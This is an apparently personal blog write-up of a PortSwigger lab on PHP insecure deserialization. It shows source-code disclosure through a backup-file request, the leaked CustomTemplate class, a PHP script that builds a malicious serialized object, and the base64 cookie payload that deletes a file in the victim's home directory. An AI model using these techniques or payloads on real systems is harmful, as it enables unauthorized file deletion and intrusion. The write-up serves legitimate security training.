On this page
apsyleg1 min read
#portswigger #deserialization #web-security

Arbitrary Object Injection in PHP

Lab

Arbitrary object injection in PHP · Practitioner

Solution

Given

This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos's home directory. You will need to obtain source code access to solve this lab.

You can log in to your own account using the following credentials: wiener:peter

Analyzing the task

We somehow need to obtain the source code, then figure out how to inject our own object into the serialized session string in order to delete the morale.txt file from Carlos's home directory.

As an option, we can try to trigger a deserialization error — it may leak some PHP file paths, and then we can poke around with the standard backup-file extensions.

Recon

Let's send a payload:

O:4:"User":2:{s:8:"username";s:6:"wiener1";s:12:"access_token";s:32:"f9z2j58k0jl5lj2j3g3o9e66qz7m8rk8";}

This triggers an error:

Internal Server Error

PHP Fatal error: Uncaught Exception: unserialize() failed in /var/www/index.php:5 Stack trace: #0 {main} thrown in /var/www/index.php on line 5

So there's an index.php file. Let's check whether it's accessible:

https://<lab-id>.web-security-academy.net/index.php
Not found

A dead end. Let's look at the source of the page. At the end there's a comment:

<!-- TODO: Refactor once /libs/CustomTemplate.php is updated -->

Let's try:

https://<lab-id>.web-security-academy.net/libs/CustomTemplate.php

200, the response is empty — that's good. Now let's try the standard backup extensions:

GET /libs/CustomTemplate.php~ HTTP/2

Got the source code:

<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>

Exploitation

What do we see? There's a CustomTemplate class with a __destruct method that is called automatically when the object is destroyed. The class has a lock_file_path field. In the destructor we see code that deletes the lock file — so if we create an object with our own lock_file_path, serialize it and slip it into the cookie, the server will deserialize it, and at some point __destruct will be called with our lock_file_path.

In PHP a serialized User object looks like this:

O:4:"User":2:{s:4:"name":s:6:"carlos";s:10:"isLoggedIn":b:1;}

Let's adapt it for our purposes:

O:14:"CustomTemplate":1:{s:14:"lock_file_path":s:23:"/home/carlos/morale.txt";}

Base64-encode it, put it in the cookie:

Internal Server Error

PHP Fatal error: Uncaught Exception: unserialize() failed in /var/www/index.php:5 Stack trace: #0 {main} thrown in /var/www/index.php on line 5

Something's off with the syntax. Maybe we make a clever move? Kali actually ships PHP. We can just throw together a script that generates the serialized string for us, instead of checking the syntax by hand.

Rough code:

<?php
class CustomTemplate {
    private $lock_file_path = '/home/carlos/morale.txt';
}
echo base64_encode(serialize(new CustomTemplate()));

Let's run the script. Payload:

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MzA6IgBDdXN0b21UZW1wbGF0ZQBsb2NrX2ZpbGVfcGF0aCI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=

Lab solved!